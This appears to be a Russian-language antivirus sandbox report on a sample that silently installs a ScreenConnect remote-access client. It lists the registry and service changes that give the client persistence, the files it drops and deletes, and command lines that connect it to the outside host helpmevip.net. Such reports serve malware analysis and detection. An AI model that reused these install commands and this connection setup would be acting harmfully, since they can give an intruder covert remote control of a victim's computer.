Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKLM\SOFTWARE\Classes\sc-9f4f2b515982baf2\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (9f4f2b515982baf2)\ScreenConnect.WindowsClient.exe" "%1"'
Устанавливает следующие настройки сервисов
- [HKLM\System\CurrentControlSet\Services\ScreenConnect Client (fb8c831d-cabf-4622-9319-d89ca30c09a0)] 'Start' = '00000002'
- [HKLM\System\CurrentControlSet\Services\ScreenConnect Client (fb8c831d-cabf-4622-9319-d89ca30c09a0)] 'ImagePath' = '"%ProgramFiles(x86)%\ScreenConnect Client (9f4f2b515982baf2)\ScreenConnect.Cl...
Создает следующие сервисы
- 'ScreenConnect Client (fb8c831d-cabf-4622-9319-d89ca30c09a0)' "%ProgramFiles(x86)%\ScreenConnect Client (9f4f2b515982baf2)\ScreenConnect.ClientService.exe" "?y=Guest&h=helpmevip.net&p=443&s=fb8c831d-cabf-4622-9319-d89ca30c09a0&k=BgIAAACkAABSU0ExAAgAAAEAAQ...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\setup.msi
- %ProgramFiles(x86)%\screenconnect client (9f4f2b515982baf2)\client.override.resources
- %ProgramFiles(x86)%\screenconnect client (9f4f2b515982baf2)\client.override.en-us.resources
- %ProgramFiles(x86)%\screenconnect client (9f4f2b515982baf2)\client.en-us.resources
- %ProgramFiles(x86)%\screenconnect client (9f4f2b515982baf2)\screenconnect.clientservice.exe
- %ProgramFiles(x86)%\screenconnect client (9f4f2b515982baf2)\screenconnect.windowsclient.exe.config
- %ProgramFiles(x86)%\screenconnect client (9f4f2b515982baf2)\screenconnect.windowsclient.exe
- %ProgramFiles(x86)%\screenconnect client (9f4f2b515982baf2)\screenconnect.windows.dll
- %ProgramFiles(x86)%\screenconnect client (9f4f2b515982baf2)\screenconnect.core.dll
- %ProgramFiles(x86)%\screenconnect client (9f4f2b515982baf2)\screenconnect.clientservice.dll
- %ProgramFiles(x86)%\screenconnect client (9f4f2b515982baf2)\screenconnect.client.dll
- %TEMP%\msib07a.tmp-\customaction.config
- %TEMP%\msib07a.tmp-\screenconnect.core.dll
- %TEMP%\msib07a.tmp-\microsoft.deployment.windowsinstaller.dll
- %TEMP%\msib07a.tmp-\screenconnect.installeractions.dll
- %TEMP%\msib07a.tmp
- %ProgramFiles(x86)%\screenconnect client (9f4f2b515982baf2)\client.resources
- %WINDIR%\installer\{bbbc3c34-4cf8-4b6e-8d14-9eee6208003b}\defaulticon
Удаляет следующие файлы
- %TEMP%\msib07a.tmp-\customaction.config
- %TEMP%\msib07a.tmp-\microsoft.deployment.windowsinstaller.dll
- %TEMP%\msib07a.tmp-\screenconnect.core.dll
- %TEMP%\msib07a.tmp-\screenconnect.installeractions.dll
- %TEMP%\msib07a.tmp
Сетевая активность
UDP
- DNS ASK he###evip.net
Другое
Создает и запускает на исполнение
- '%ProgramFiles(x86)%\screenconnect client (9f4f2b515982baf2)\screenconnect.windowsclient.exe' "Rerun" "?y=Guest&h=helpmevip.net&p=443&s=fb8c831d-cabf-4622-9319-d89ca30c09a0&k=BgIAAACkAABSU0ExAAgAAAEAAQCjj%2fJPrmffQhG6UhfWD5NLymD6FQ%2bT0syxTOC1M0DqfTwprrIlVlQyNtnhHAN%2bdLGH1yKRAEsUvWaCZW...
- '%ProgramFiles(x86)%\screenconnect client (9f4f2b515982baf2)\screenconnect.windowsclient.exe' "?y=Guest&h=helpmevip.net&p=443&s=fb8c831d-cabf-4622-9319-d89ca30c09a0&k=BgIAAACkAABSU0ExAAgAAAEAAQCjj%2fJPrmffQhG6UhfWD5NLymD6FQ%2bT0syxTOC1M0DqfTwprrIlVlQyNtnhHAN%2bdLGH1yKRAEsUvWaCZW1u81MsAY...
- '%ProgramFiles(x86)%\screenconnect client (9f4f2b515982baf2)\screenconnect.clientservice.exe' "?y=Guest&h=helpmevip.net&p=443&s=fb8c831d-cabf-4622-9319-d89ca30c09a0&k=BgIAAACkAABSU0ExAAgAAAEAAQCjj%2fJPrmffQhG6UhfWD5NLymD6FQ%2bT0syxTOC1M0DqfTwprrIlVlQyNtnhHAN%2bdLGH1yKRAEsUvWaCZW1u81MsAY...
- '%ProgramFiles(x86)%\screenconnect client (9f4f2b515982baf2)\screenconnect.windowsclient.exe' "RunRole" "fd32cde9-b65a-4014-bd0b-f378791d9929" "User"
Запускает на исполнение
- '%WINDIR%\syswow64\msiexec.exe' /i "%TEMP%\setup.msi"
- '%WINDIR%\syswow64\rundll32.exe' "%TEMP%\MSIB07A.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_1160054 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
